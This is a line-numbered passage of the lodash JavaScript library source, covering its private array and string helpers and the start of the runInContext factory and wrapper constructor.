729 * shorthands.
730 *
731 * @private
732 * @param {Array} [array] The array to iterate over.
733 * @param {Function} predicate The function invoked per iteration.
734 * @returns {boolean} Returns `true` if any element passes the predicate check,
735 * else `false`.
736 */
737 function arraySome(array, predicate) {
738 var index = -1,
739 length = array == null ? 0 : array.length;
740
741 while (++index < length) {
742 if (predicate(array[index], index, array)) {
743 return true;
744 }
745 }
746 return false;
747 }
748
749 /**
750 * Gets the size of an ASCII `string`.
751 *
752 * @private
753 * @param {string} string The string inspect.
754 * @returns {number} Returns the string size.
755 */
756 var asciiSize = baseProperty('length');
757
758 /**
759 * Converts an ASCII `string` to an array.
760 *
761 * @private
762 * @param {string} string The string to convert.
763 * @returns {Array} Returns the converted array.
764 */
765 function asciiToArray(string) {
766 return string.split('');
767 }
768
769 /**
770 * Splits an ASCII `string` into an array of its words.
771 *
772 * @private
773 * @param {string} The string to inspect.
774 * @returns {Array} Returns the words of `string`.
775 */
776 function asciiWords(string) {
777 return string.match(reAsciiWord) || [];
778 }
779
780 /**
781 * The base implementation of methods like `_.findKey` and `_.findLastKey`,
782 * without support for iteratee shorthands, which iterates over `collection`
783 * using `eachFunc`.
784 *
785 * @private
786 * @param {Array|Object} collection The collection to inspect.
787 * @param {Function} predicate The function invoked per iteration.
788 * @param {Function} eachFunc The function to iterate over `collection`.
789 * @returns {*} Returns the found element or its key, else `undefined`.
790 */
791 function baseFindKey(collection, predicate, eachFunc) {
792 var result;
793 eachFunc(collection, function(value, key, collection) {
794 if (predicate(value, key, collection)) {
795 result = key;
796 return false;
797 }
798 });
799 return result;
800 }
801
802 /**
803 * The base implementation of `_.findIndex` and `_.findLastIndex` without
804 * support for iteratee shorthands.
805 *
806 * @private
807 * @param {Array} array The array to inspect.
808 * @param {Function} predicate The function invoked per iteration.
809 * @param {number} fromIndex The index to search from.
810 * @param {boolean} [fromRight] Specify iterating from right to left.
811 * @returns {number} Returns the index of the matched value, else `-1`.
812 */
813 function baseFindIndex(array, predicate, fromIndex, fromRight) {
814 var length = array.length,
815 index = fromIndex + (fromRight ? 1 : -1);
816
817 while ((fromRight ? index-- : ++index < length)) {
818 if (predicate(array[index], index, array)) {
819 return index;
820 }
821 }
822 return -1;
823 }
824
825 /**
826 * The base implementation of `_.indexOf` without `fromIndex` bounds checks.
827 *
828 * @private
829 * @param {Array} array The array to inspect.
830 * @param {*} value The value to search for.
831 * @param {number} fromIndex The index to search from.
832 * @returns {number} Returns the index of the matched value, else `-1`.
833 */
834 function baseIndexOf(array, value, fromIndex) {
835 return value === value
836 ? strictIndexOf(array, value, fromIndex)
837 : baseFindIndex(array, baseIsNaN, fromIndex);
838 }
839
840 /**
841 * This function is like `baseIndexOf` except that it accepts a comparator.
842 *
843 * @private
844 * @param {Array} array The array to inspect.
845 * @param {*} value The value to search for.
846 * @param {number} fromIndex The index to search from.
847 * @param {Function} comparator The comparator invoked per element.
848 * @returns {number} Returns the index of the matched value, else `-1`.
849 */
850 function baseIndexOfWith(array, value, fromIndex, comparator) {
851 var index = fromIndex - 1,
852 length = array.length;
853
854 while (++index < length) {
855 if (comparator(array[index], value)) {
856 return index;
857 }
858 }
859 return -1;
860 }
861
862 /**
863 * The base implementation of `_.isNaN` without support for number objects.
864 *
865 * @private
866 * @param {*} value The value to check.
867 * @returns {boolean} Returns `true` if `value` is `NaN`, else `false`.
868 */
869 function baseIsNaN(value) {
870 return value !== value;
871 }
872
873 /**
874 * The base implementation of `_.mean` and `_.meanBy` without support for
875 * iteratee shorthands.
876 *
877 * @private
878 * @param {Array} array The array to iterate over.
879 * @param {Function} iteratee The function invoked per iteration.
880 * @returns {number} Returns the mean.
881 */
882 function baseMean(array, iteratee) {
883 var length = array == null ? 0 : array.length;
884 return length ? (baseSum(array, iteratee) / length) : NAN;
885 }
886
887 /**
888 * The base implementation of `_.property` without support for deep paths.
889 *
890 * @private
891 * @param {string} key The key of the property to get.
892 * @returns {Function} Returns the new accessor function.
893 */
894 function baseProperty(key) {
895 return function(object) {
896 return object == null ? undefined : object[key];
897 };
898 }
899
900 /**
901 * The base implementation of `_.propertyOf` without support for deep paths.
902 *
903 * @private
904 * @param {Object} object The object to query.
905 * @returns {Function} Returns the new accessor function.
906 */
907 function basePropertyOf(object) {
908 return function(key) {
909 return object == null ? undefined : object[key];
910 };
911 }
912
913 /**
914 * The base implementation of `_.reduce` and `_.reduceRight`, without support
915 * for iteratee shorthands, which iterates over `collection` using `eachFunc`.
916 *
917 * @private
918 * @param {Array|Object} collection The collection to iterate over.
919 * @param {Function} iteratee The function invoked per iteration.
920 * @param {*} accumulator The initial value.
921 * @param {boolean} initAccum Specify using the first or last element of
922 * `collection` as the initial value.
923 * @param {Function} eachFunc The function to iterate over `collection`.
924 * @returns {*} Returns the accumulated value.
925 */
926 function baseReduce(collection, iteratee, accumulator, initAccum, eachFunc) {
927 eachFunc(collection, function(value, index, collection) {
928 accumulator = initAccum
929 ? (initAccum = false, value)
930 : iteratee(accumulator, value, index, collection);
931 });
932 return accumulator;
933 }
934
935 /**
936 * The base implementation of `_.sortBy` which uses `comparer` to define the
937 * sort order of `array` and replaces criteria objects with their corresponding
938 * values.
939 *
940 * @private
941 * @param {Array} array The array to sort.
942 * @param {Function} comparer The function to define sort order.
943 * @returns {Array} Returns `array`.
944 */
945 function baseSortBy(array, comparer) {
946 var length = array.length;
947
948 array.sort(comparer);
949 while (length--) {
950 array[length] = array[length].value;
951 }
952 return array;
953 }
954
955 /**
956 * The base implementation of `_.sum` and `_.sumBy` without support for
957 * iteratee shorthands.
958 *
959 * @private
960 * @param {Array} array The array to iterate over.
961 * @param {Function} iteratee The function invoked per iteration.
962 * @returns {number} Returns the sum.
963 */
964 function baseSum(array, iteratee) {
965 var result,
966 index = -1,
967 length = array.length;
968
969 while (++index < length) {
970 var current = iteratee(array[index]);
971 if (current !== undefined) {
972 result = result === undefined ? current : (result + current);
973 }
974 }
975 return result;
976 }
977
978 /**
979 * The base implementation of `_.times` without support for iteratee shorthands
980 * or max array length checks.
981 *
982 * @private
983 * @param {number} n The number of times to invoke `iteratee`.
984 * @param {Function} iteratee The function invoked per iteration.
985 * @returns {Array} Returns the array of results.
986 */
987 function baseTimes(n, iteratee) {
988 var index = -1,
989 result = Array(n);
990
991 while (++index < n) {
992 result[index] = iteratee(index);
993 }
994 return result;
995 }
996
997 /**
998 * The base implementation of `_.toPairs` and `_.toPairsIn` which creates an array
999 * of key-value pairs for `object` corresponding to the property names of `props`.
1000 *
1001 * @private
1002 * @param {Object} object The object to query.
1003 * @param {Array} props The property names to get values for.
1004 * @returns {Object} Returns the key-value pairs.
1005 */
1006 function baseToPairs(object, props) {
1007 return arrayMap(props, function(key) {
1008 return [key, object[key]];
1009 });
1010 }
1011
1012 /**
1013 * The base implementation of `_.trim`.
1014 *
1015 * @private
1016 * @param {string} string The string to trim.
1017 * @returns {string} Returns the trimmed string.
1018 */
1019 function baseTrim(string) {
1020 return string
1021 ? string.slice(0, trimmedEndIndex(string) + 1).replace(reTrimStart, '')
1022 : string;
1023 }
1024
1025 /**
1026 * The base implementation of `_.unary` without support for storing metadata.
1027 *
1028 * @private
1029 * @param {Function} func The function to cap arguments for.
1030 * @returns {Function} Returns the new capped function.
1031 */
1032 function baseUnary(func) {
1033 return function(value) {
1034 return func(value);
1035 };
1036 }
1037
1038 /**
1039 * The base implementation of `_.values` and `_.valuesIn` which creates an
1040 * array of `object` property values corresponding to the property names
1041 * of `props`.
1042 *
1043 * @private
1044 * @param {Object} object The object to query.
1045 * @param {Array} props The property names to get values for.
1046 * @returns {Object} Returns the array of property values.
1047 */
1048 function baseValues(object, props) {
1049 return arrayMap(props, function(key) {
1050 return object[key];
1051 });
1052 }
1053
1054 /**
1055 * Checks if a `cache` value for `key` exists.
1056 *
1057 * @private
1058 * @param {Object} cache The cache to query.
1059 * @param {string} key The key of the entry to check.
1060 * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
1061 */
1062 function cacheHas(cache, key) {
1063 return cache.has(key);
1064 }
1065
1066 /**
1067 * Used by `_.trim` and `_.trimStart` to get the index of the first string symbol
1068 * that is not found in the character symbols.
1069 *
1070 * @private
1071 * @param {Array} strSymbols The string symbols to inspect.
1072 * @param {Array} chrSymbols The character symbols to find.
1073 * @returns {number} Returns the index of the first unmatched string symbol.
1074 */
1075 function charsStartIndex(strSymbols, chrSymbols) {
1076 var index = -1,
1077 length = strSymbols.length;
1078
1079 while (++index < length && baseIndexOf(chrSymbols, strSymbols[index], 0) > -1) {}
1080 return index;
1081 }
1082
1083 /**
1084 * Used by `_.trim` and `_.trimEnd` to get the index of the last string symbol
1085 * that is not found in the character symbols.
1086 *
1087 * @private
1088 * @param {Array} strSymbols The string symbols to inspect.
1089 * @param {Array} chrSymbols The character symbols to find.
1090 * @returns {number} Returns the index of the last unmatched string symbol.
1091 */
1092 function charsEndIndex(strSymbols, chrSymbols) {
1093 var index = strSymbols.length;
1094
1095 while (index-- && baseIndexOf(chrSymbols, strSymbols[index], 0) > -1) {}
1096 return index;
1097 }
1098
1099 /**
1100 * Gets the number of `placeholder` occurrences in `array`.
1101 *
1102 * @private
1103 * @param {Array} array The array to inspect.
1104 * @param {*} placeholder The placeholder to search for.
1105 * @returns {number} Returns the placeholder count.
1106 */
1107 function countHolders(array, placeholder) {
1108 var length = array.length,
1109 result = 0;
1110
1111 while (length--) {
1112 if (array[length] === placeholder) {
1113 ++result;
1114 }
1115 }
1116 return result;
1117 }
1118
1119 /**
1120 * Used by `_.deburr` to convert Latin-1 Supplement and Latin Extended-A
1121 * letters to basic Latin letters.
1122 *
1123 * @private
1124 * @param {string} letter The matched letter to deburr.
1125 * @returns {string} Returns the deburred letter.
1126 */
1127 var deburrLetter = basePropertyOf(deburredLetters);
1128
1129 /**
1130 * Used by `_.escape` to convert characters to HTML entities.
1131 *
1132 * @private
1133 * @param {string} chr The matched character to escape.
1134 * @returns {string} Returns the escaped character.
1135 */
1136 var escapeHtmlChar = basePropertyOf(htmlEscapes);
1137
1138 /**
1139 * Used by `_.template` to escape characters for inclusion in compiled string literals.
1140 *
1141 * @private
1142 * @param {string} chr The matched character to escape.
1143 * @returns {string} Returns the escaped character.
1144 */
1145 function escapeStringChar(chr) {
1146 return '\\' + stringEscapes[chr];
1147 }
1148
1149 /**
1150 * Gets the value at `key` of `object`.
1151 *
1152 * @private
1153 * @param {Object} [object] The object to query.
1154 * @param {string} key The key of the property to get.
1155 * @returns {*} Returns the property value.
1156 */
1157 function getValue(object, key) {
1158 return object == null ? undefined : object[key];
1159 }
1160
1161 /**
1162 * Checks if `string` contains Unicode symbols.
1163 *
1164 * @private
1165 * @param {string} string The string to inspect.
1166 * @returns {boolean} Returns `true` if a symbol is found, else `false`.
1167 */
1168 function hasUnicode(string) {
1169 return reHasUnicode.test(string);
1170 }
1171
1172 /**
1173 * Checks if `string` contains a word composed of Unicode symbols.
1174 *
1175 * @private
1176 * @param {string} string The string to inspect.
1177 * @returns {boolean} Returns `true` if a word is found, else `false`.
1178 */
1179 function hasUnicodeWord(string) {
1180 return reHasUnicodeWord.test(string);
1181 }
1182
1183 /**
1184 * Converts `iterator` to an array.
1185 *
1186 * @private
1187 * @param {Object} iterator The iterator to convert.
1188 * @returns {Array} Returns the converted array.
1189 */
1190 function iteratorToArray(iterator) {
1191 var data,
1192 result = [];
1193
1194 while (!(data = iterator.next()).done) {
1195 result.push(data.value);
1196 }
1197 return result;
1198 }
1199
1200 /**
1201 * Converts `map` to its key-value pairs.
1202 *
1203 * @private
1204 * @param {Object} map The map to convert.
1205 * @returns {Array} Returns the key-value pairs.
1206 */
1207 function mapToArray(map) {
1208 var index = -1,
1209 result = Array(map.size);
1210
1211 map.forEach(function(value, key) {
1212 result[++index] = [key, value];
1213 });
1214 return result;
1215 }
1216
1217 /**
1218 * Creates a unary function that invokes `func` with its argument transformed.
1219 *
1220 * @private
1221 * @param {Function} func The function to wrap.
1222 * @param {Function} transform The argument transform.
1223 * @returns {Function} Returns the new function.
1224 */
1225 function overArg(func, transform) {
1226 return function(arg) {
1227 return func(transform(arg));
1228 };
1229 }
1230
1231 /**
1232 * Replaces all `placeholder` elements in `array` with an internal placeholder
1233 * and returns an array of their indexes.
1234 *
1235 * @private
1236 * @param {Array} array The array to modify.
1237 * @param {*} placeholder The placeholder to replace.
1238 * @returns {Array} Returns the new array of placeholder indexes.
1239 */
1240 function replaceHolders(array, placeholder) {
1241 var index = -1,
1242 length = array.length,
1243 resIndex = 0,
1244 result = [];
1245
1246 while (++index < length) {
1247 var value = array[index];
1248 if (value === placeholder || value === PLACEHOLDER) {
1249 array[index] = PLACEHOLDER;
1250 result[resIndex++] = index;
1251 }
1252 }
1253 return result;
1254 }
1255
1256 /**
1257 * Converts `set` to an array of its values.
1258 *
1259 * @private
1260 * @param {Object} set The set to convert.
1261 * @returns {Array} Returns the values.
1262 */
1263 function setToArray(set) {
1264 var index = -1,
1265 result = Array(set.size);
1266
1267 set.forEach(function(value) {
1268 result[++index] = value;
1269 });
1270 return result;
1271 }
1272
1273 /**
1274 * Converts `set` to its value-value pairs.
1275 *
1276 * @private
1277 * @param {Object} set The set to convert.
1278 * @returns {Array} Returns the value-value pairs.
1279 */
1280 function setToPairs(set) {
1281 var index = -1,
1282 result = Array(set.size);
1283
1284 set.forEach(function(value) {
1285 result[++index] = [value, value];
1286 });
1287 return result;
1288 }
1289
1290 /**
1291 * A specialized version of `_.indexOf` which performs strict equality
1292 * comparisons of values, i.e. `===`.
1293 *
1294 * @private
1295 * @param {Array} array The array to inspect.
1296 * @param {*} value The value to search for.
1297 * @param {number} fromIndex The index to search from.
1298 * @returns {number} Returns the index of the matched value, else `-1`.
1299 */
1300 function strictIndexOf(array, value, fromIndex) {
1301 var index = fromIndex - 1,
1302 length = array.length;
1303
1304 while (++index < length) {
1305 if (array[index] === value) {
1306 return index;
1307 }
1308 }
1309 return -1;
1310 }
1311
1312 /**
1313 * A specialized version of `_.lastIndexOf` which performs strict equality
1314 * comparisons of values, i.e. `===`.
1315 *
1316 * @private
1317 * @param {Array} array The array to inspect.
1318 * @param {*} value The value to search for.
1319 * @param {number} fromIndex The index to search from.
1320 * @returns {number} Returns the index of the matched value, else `-1`.
1321 */
1322 function strictLastIndexOf(array, value, fromIndex) {
1323 var index = fromIndex + 1;
1324 while (index--) {
1325 if (array[index] === value) {
1326 return index;
1327 }
1328 }
1329 return index;
1330 }
1331
1332 /**
1333 * Gets the number of symbols in `string`.
1334 *
1335 * @private
1336 * @param {string} string The string to inspect.
1337 * @returns {number} Returns the string size.
1338 */
1339 function stringSize(string) {
1340 return hasUnicode(string)
1341 ? unicodeSize(string)
1342 : asciiSize(string);
1343 }
1344
1345 /**
1346 * Converts `string` to an array.
1347 *
1348 * @private
1349 * @param {string} string The string to convert.
1350 * @returns {Array} Returns the converted array.
1351 */
1352 function stringToArray(string) {
1353 return hasUnicode(string)
1354 ? unicodeToArray(string)
1355 : asciiToArray(string);
1356 }
1357
1358 /**
1359 * Used by `_.trim` and `_.trimEnd` to get the index of the last non-whitespace
1360 * character of `string`.
1361 *
1362 * @private
1363 * @param {string} string The string to inspect.
1364 * @returns {number} Returns the index of the last non-whitespace character.
1365 */
1366 function trimmedEndIndex(string) {
1367 var index = string.length;
1368
1369 while (index-- && reWhitespace.test(string.charAt(index))) {}
1370 return index;
1371 }
1372
1373 /**
1374 * Used by `_.unescape` to convert HTML entities to characters.
1375 *
1376 * @private
1377 * @param {string} chr The matched character to unescape.
1378 * @returns {string} Returns the unescaped character.
1379 */
1380 var unescapeHtmlChar = basePropertyOf(htmlUnescapes);
1381
1382 /**
1383 * Gets the size of a Unicode `string`.
1384 *
1385 * @private
1386 * @param {string} string The string inspect.
1387 * @returns {number} Returns the string size.
1388 */
1389 function unicodeSize(string) {
1390 var result = reUnicode.lastIndex = 0;
1391 while (reUnicode.test(string)) {
1392 ++result;
1393 }
1394 return result;
1395 }
1396
1397 /**
1398 * Converts a Unicode `string` to an array.
1399 *
1400 * @private
1401 * @param {string} string The string to convert.
1402 * @returns {Array} Returns the converted array.
1403 */
1404 function unicodeToArray(string) {
1405 return string.match(reUnicode) || [];
1406 }
1407
1408 /**
1409 * Splits a Unicode `string` into an array of its words.
1410 *
1411 * @private
1412 * @param {string} The string to inspect.
1413 * @returns {Array} Returns the words of `string`.
1414 */
1415 function unicodeWords(string) {
1416 return string.match(reUnicodeWord) || [];
1417 }
1418
1419 /*--------------------------------------------------------------------------*/
1420
1421 /**
1422 * Create a new pristine `lodash` function using the `context` object.
1423 *
1424 * @static
1425 * @memberOf _
1426 * @since 1.1.0
1427 * @category Util
1428 * @param {Object} [context=root] The context object.
1429 * @returns {Function} Returns a new `lodash` function.
1430 * @example
1431 *
1432 * _.mixin({ 'foo': _.constant('foo') });
1433 *
1434 * var lodash = _.runInContext();
1435 * lodash.mixin({ 'bar': lodash.constant('bar') });
1436 *
1437 * _.isFunction(_.foo);
1438 * // => true
1439 * _.isFunction(_.bar);
1440 * // => false
1441 *
1442 * lodash.isFunction(lodash.foo);
1443 * // => false
1444 * lodash.isFunction(lodash.bar);
1445 * // => true
1446 *
1447 * // Create a suped-up `defer` in Node.js.
1448 * var defer = _.runInContext({ 'setTimeout': setImmediate }).defer;
1449 */
1450 var runInContext = (function runInContext(context) {
1451 context = context == null ? root : _.defaults(root.Object(), context, _.pick(root, contextProps));
1452
1453 /** Built-in constructor references. */
1454 var Array = context.Array,
1455 Date = context.Date,
1456 Error = context.Error,
1457 Function = context.Function,
1458 Math = context.Math,
1459 Object = context.Object,
1460 RegExp = context.RegExp,
1461 String = context.String,
1462 TypeError = context.TypeError;
1463
1464 /** Used for built-in method references. */
1465 var arrayProto = Array.prototype,
1466 funcProto = Function.prototype,
1467 objectProto = Object.prototype;
1468
1469 /** Used to detect overreaching core-js shims. */
1470 var coreJsData = context['__core-js_shared__'];
1471
1472 /** Used to resolve the decompiled source of functions. */
1473 var funcToString = funcProto.toString;
1474
1475 /** Used to check objects for own properties. */
1476 var hasOwnProperty = objectProto.hasOwnProperty;
1477
1478 /** Used to generate unique IDs. */
1479 var idCounter = 0;
1480
1481 /** Used to detect methods masquerading as native. */
1482 var maskSrcKey = (function() {
1483 var uid = /[^.]+$/.exec(coreJsData && coreJsData.keys && coreJsData.keys.IE_PROTO || '');
1484 return uid ? ('Symbol(src)_1.' + uid) : '';
1485 }());
1486
1487 /**
1488 * Used to resolve the
1489 * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
1490 * of values.
1491 */
1492 var nativeObjectToString = objectProto.toString;
1493
1494 /** Used to infer the `Object` constructor. */
1495 var objectCtorString = funcToString.call(Object);
1496
1497 /** Used to restore the original `_` reference in `_.noConflict`. */
1498 var oldDash = root._;
1499
1500 /** Used to detect if a method is native. */
1501 var reIsNative = RegExp('^' +
1502 funcToString.call(hasOwnProperty).replace(reRegExpChar, '\\$&')
1503 .replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g, '$1.*?') + '$'
1504 );
1505
1506 /** Built-in value references. */
1507 var Buffer = moduleExports ? context.Buffer : undefined,
1508 Symbol = context.Symbol,
1509 Uint8Array = context.Uint8Array,
1510 allocUnsafe = Buffer ? Buffer.allocUnsafe : undefined,
1511 getPrototype = overArg(Object.getPrototypeOf, Object),
1512 objectCreate = Object.create,
1513 propertyIsEnumerable = objectProto.propertyIsEnumerable,
1514 splice = arrayProto.splice,
1515 spreadableSymbol = Symbol ? Symbol.isConcatSpreadable : undefined,
1516 symIterator = Symbol ? Symbol.iterator : undefined,
1517 symToStringTag = Symbol ? Symbol.toStringTag : undefined;
1518
1519 var defineProperty = (function() {
1520 try {
1521 var func = getNative(Object, 'defineProperty');
1522 func({}, '', {});
1523 return func;
1524 } catch (e) {}
1525 }());
1526
1527 /** Mocked built-ins. */
1528 var ctxClearTimeout = context.clearTimeout !== root.clearTimeout && context.clearTimeout,
1529 ctxNow = Date && Date.now !== root.Date.now && Date.now,
1530 ctxSetTimeout = context.setTimeout !== root.setTimeout && context.setTimeout;
1531
1532 /* Built-in method references for those with the same name as other `lodash` methods. */
1533 var nativeCeil = Math.ceil,
1534 nativeFloor = Math.floor,
1535 nativeGetSymbols = Object.getOwnPropertySymbols,
1536 nativeIsBuffer = Buffer ? Buffer.isBuffer : undefined,
1537 nativeIsFinite = context.isFinite,
1538 nativeJoin = arrayProto.join,
1539 nativeKeys = overArg(Object.keys, Object),
1540 nativeMax = Math.max,
1541 nativeMin = Math.min,
1542 nativeNow = Date.now,
1543 nativeParseInt = context.parseInt,
1544 nativeRandom = Math.random,
1545 nativeReverse = arrayProto.reverse;
1546
1547 /* Built-in method references that are verified to be native. */
1548 var DataView = getNative(context, 'DataView'),
1549 Map = getNative(context, 'Map'),
1550 Promise = getNative(context, 'Promise'),
1551 Set = getNative(context, 'Set'),
1552 WeakMap = getNative(context, 'WeakMap'),
1553 nativeCreate = getNative(Object, 'create');
1554
1555 /** Used to store function metadata. */
1556 var metaMap = WeakMap && new WeakMap;
1557
1558 /** Used to lookup unminified function names. */
1559 var realNames = {};
1560
1561 /** Used to detect maps, sets, and weakmaps. */
1562 var dataViewCtorString = toSource(DataView),
1563 mapCtorString = toSource(Map),
1564 promiseCtorString = toSource(Promise),
1565 setCtorString = toSource(Set),
1566 weakMapCtorString = toSource(WeakMap);
1567
1568 /** Used to convert symbols to primitives and strings. */
1569 var symbolProto = Symbol ? Symbol.prototype : undefined,
1570 symbolValueOf = symbolProto ? symbolProto.valueOf : undefined,
1571 symbolToString = symbolProto ? symbolProto.toString : undefined;
1572
1573 /*------------------------------------------------------------------------*/
1574
1575 /**
1576 * Creates a `lodash` object which wraps `value` to enable implicit method
1577 * chain sequences. Methods that operate on and return arrays, collections,
1578 * and functions can be chained together. Methods that retrieve a single value
1579 * or may return a primitive value will automatically end the chain sequence
1580 * and return the unwrapped value. Otherwise, the value must be unwrapped
1581 * with `_#value`.
1582 *
1583 * Explicit chain sequences, which must be unwrapped with `_#value`, may be
1584 * enabled using `_.chain`.
1585 *
1586 * The execution of chained methods is lazy, that is, it's deferred until
1587 * `_#value` is implicitly or explicitly called.
1588 *
1589 * Lazy evaluation allows several methods to support shortcut fusion.
1590 * Shortcut fusion is an optimization to merge iteratee calls; this avoids
1591 * the creation of intermediate arrays and can greatly reduce the number of
1592 * iteratee executions. Sections of a chain sequence qualify for shortcut
1593 * fusion if the section is applied to an array and iteratees accept only
1594 * one argument. The heuristic for whether a section qualifies for shortcut
1595 * fusion is subject to change.
1596 *
1597 * Chaining is supported in custom builds as long as the `_#value` method is
1598 * directly or indirectly included in the build.
1599 *
1600 * In addition to lodash methods, wrappers have `Array` and `String` methods.
1601 *
1602 * The wrapper `Array` methods are:
1603 * `concat`, `join`, `pop`, `push`, `shift`, `sort`, `splice`, and `unshift`
1604 *
1605 * The wrapper `String` methods are:
1606 * `replace` and `split`
1607 *
1608 * The wrapper methods that support shortcut fusion are:
1609 * `at`, `compact`, `drop`, `dropRight`, `dropWhile`, `filter`, `find`,
1610 * `findLast`, `head`, `initial`, `last`, `map`, `reject`, `reverse`, `slice`,
1611 * `tail`, `take`, `takeRight`, `takeRightWhile`, `takeWhile`, and `toArray`
1612 *
1613 * The chainable wrapper methods are:
1614 * `after`, `ary`, `assign`, `assignIn`, `assignInWith`, `assignWith`, `at`,
1615 * `before`, `bind`, `bindAll`, `bindKey`, `castArray`, `chain`, `chunk`,
1616 * `commit`, `compact`, `concat`, `conforms`, `constant`, `countBy`, `create`,
1617 * `curry`, `debounce`, `defaults`, `defaultsDeep`, `defer`, `delay`,
1618 * `difference`, `differenceBy`, `differenceWith`, `drop`, `dropRight`,
1619 * `dropRightWhile`, `dropWhile`, `extend`, `extendWith`, `fill`, `filter`,
1620 * `flatMap`, `flatMapDeep`, `flatMapDepth`, `flatten`, `flattenDeep`,
1621 * `flattenDepth`, `flip`, `flow`, `flowRight`, `fromPairs`, `functions`,
1622 * `functionsIn`, `groupBy`, `initial`, `intersection`, `intersectionBy`,
1623 * `intersectionWith`, `invert`, `invertBy`, `invokeMap`, `iteratee`, `keyBy`,
1624 * `keys`, `keysIn`, `map`, `mapKeys`, `mapValues`, `matches`, `matchesProperty`,
1625 * `memoize`, `merge`, `mergeWith`, `method`, `methodOf`, `mixin`, `negate`,
1626 * `nthArg`, `omit`, `omitBy`, `once`, `orderBy`, `over`, `overArgs`,
1627 * `overEvery`, `overSome`, `partial`, `partialRight`, `partition`, `pick`,
1628 * `pickBy`, `plant`, `property`, `propertyOf`, `pull`, `pullAll`, `pullAllBy`,
1629 * `pullAllWith`, `pullAt`, `push`, `range`, `rangeRight`, `rearg`, `reject`,
1630 * `remove`, `rest`, `reverse`, `sampleSize`, `set`, `setWith`, `shuffle`,
1631 * `slice`, `sort`, `sortBy`, `splice`, `spread`, `tail`, `take`, `takeRight`,
1632 * `takeRightWhile`, `takeWhile`, `tap`, `throttle`, `thru`, `toArray`,
1633 * `toPairs`, `toPairsIn`, `toPath`, `toPlainObject`, `transform`, `unary`,
1634 * `union`, `unionBy`, `unionWith`, `uniq`, `uniqBy`, `uniqWith`, `unset`,
1635 * `unshift`, `unzip`, `unzipWith`, `update`, `updateWith`, `values`,
1636 * `valuesIn`, `without`, `wrap`, `xor`, `xorBy`, `xorWith`, `zip`,
1637 * `zipObject`, `zipObjectDeep`, and `zipWith`
1638 *
1639 * The wrapper methods that are **not** chainable by default are:
1640 * `add`, `attempt`, `camelCase`, `capitalize`, `ceil`, `clamp`, `clone`,
1641 * `cloneDeep`, `cloneDeepWith`, `cloneWith`, `conformsTo`, `deburr`,
1642 * `defaultTo`, `divide`, `each`, `eachRight`, `endsWith`, `eq`, `escape`,
1643 * `escapeRegExp`, `every`, `find`, `findIndex`, `findKey`, `findLast`,
1644 * `findLastIndex`, `findLastKey`, `first`, `floor`, `forEach`, `forEachRight`,
1645 * `forIn`, `forInRight`, `forOwn`, `forOwnRight`, `get`, `gt`, `gte`, `has`,
1646 * `hasIn`, `head`, `identity`, `includes`, `indexOf`, `inRange`, `invoke`,
1647 * `isArguments`, `isArray`, `isArrayBuffer`, `isArrayLike`, `isArrayLikeObject`,
1648 * `isBoolean`, `isBuffer`, `isDate`, `isElement`, `isEmpty`, `isEqual`,
1649 * `isEqualWith`, `isError`, `isFinite`, `isFunction`, `isInteger`, `isLength`,
1650 * `isMap`, `isMatch`, `isMatchWith`, `isNaN`, `isNative`, `isNil`, `isNull`,
1651 * `isNumber`, `isObject`, `isObjectLike`, `isPlainObject`, `isRegExp`,
1652 * `isSafeInteger`, `isSet`, `isString`, `isUndefined`, `isTypedArray`,
1653 * `isWeakMap`, `isWeakSet`, `join`, `kebabCase`, `last`, `lastIndexOf`,
1654 * `lowerCase`, `lowerFirst`, `lt`, `lte`, `max`, `maxBy`, `mean`, `meanBy`,
1655 * `min`, `minBy`, `multiply`, `noConflict`, `noop`, `now`, `nth`, `pad`,
1656 * `padEnd`, `padStart`, `parseInt`, `pop`, `random`, `reduce`, `reduceRight`,
1657 * `repeat`, `result`, `round`, `runInContext`, `sample`, `shift`, `size`,
1658 * `snakeCase`, `some`, `sortedIndex`, `sortedIndexBy`, `sortedLastIndex`,
1659 * `sortedLastIndexBy`, `startCase`, `startsWith`, `stubArray`, `stubFalse`,
1660 * `stubObject`, `stubString`, `stubTrue`, `subtract`, `sum`, `sumBy`,
1661 * `template`, `times`, `toFinite`, `toInteger`, `toJSON`, `toLength`,
1662 * `toLower`, `toNumber`, `toSafeInteger`, `toString`, `toUpper`, `trim`,
1663 * `trimEnd`, `trimStart`, `truncate`, `unescape`, `uniqueId`, `upperCase`,
1664 * `upperFirst`, `value`, and `words`
1665 *
1666 * @name _
1667 * @constructor
1668 * @category Seq
1669 * @param {*} value The value to wrap in a `lodash` instance.
1670 * @returns {Object} Returns the new `lodash` wrapper instance.
1671 * @example
1672 *
1673 * function square(n) {
1674 * return n * n;
1675 * }
1676 *
1677 * var wrapped = _([1, 2, 3]);
1678 *
1679 * // Returns an unwrapped value.
1680 * wrapped.reduce(_.add);
1681 * // => 6
1682 *
1683 * // Returns a wrapped value.
1684 * var squares = wrapped.map(square);
1685 *
1686 * _.isArray(squares);
1687 * // => false
1688 *
1689 * _.isArray(squares.value());
1690 * // => true
1691 */
1692 function lodash(value) {
1693 if (isObjectLike(value) && !isArray(value) && !(value instanceof LazyWrapper)) {
1694 if (value instanceof LodashWrapper) {
1695 return value;
1696 }
1697 if (hasOwnProperty.call(value, '__wrapped__')) {
1698 return wrapperClone(value);
1699 }
1700 }
1701 return new LodashWrapper(value);
1702 }
1703
1704 /**
1705 * The base implementation of `_.create` without support for assigning
1706 * properties to the created object.
1707 *
1708 * @private
1709 * @param {Object} proto The object to inherit from.
1710 * @returns {Object} Returns the new object.
1711 */
1712 var baseCreate = (function() {
1713 function object() {}
1714 return function(proto) {
1715 if (!isObject(proto)) {
1716 return {};
1717 }
1718 if (objectCreate) {
1719 return objectCreate(proto);
1720 }
1721 object.prototype = proto;
1722 var result = new object;
1723 object.prototype = undefined;
1724 return result;
1725 };
1726 }());
1727
1728 /**
1729 * The function whose prototype chain sequence wrappers inherit from.
1730 *
1731 * @private
1732 */
1733 function baseLodash() {
1734 // No operation performed.
1735 }
1736
1737 /**
1738 * The base constructor for creating `lodash` wrapper objects.
1739 *
1740 * @private
1741 * @param {*} value The value to wrap.
1742 * @param {boolean} [chainAll] Enable explicit method chain sequences.
1743 */
1744 function LodashWrapper(value, chainAll) {
1745 this.__wrapped__ = value;
1746 this.__actions__ = [];
1747 this.__chain__ = !!chainAll;
1748 this.__index__ = 0;
1749 this.__values__ = undefined;
1750 }
1751
1752 /**
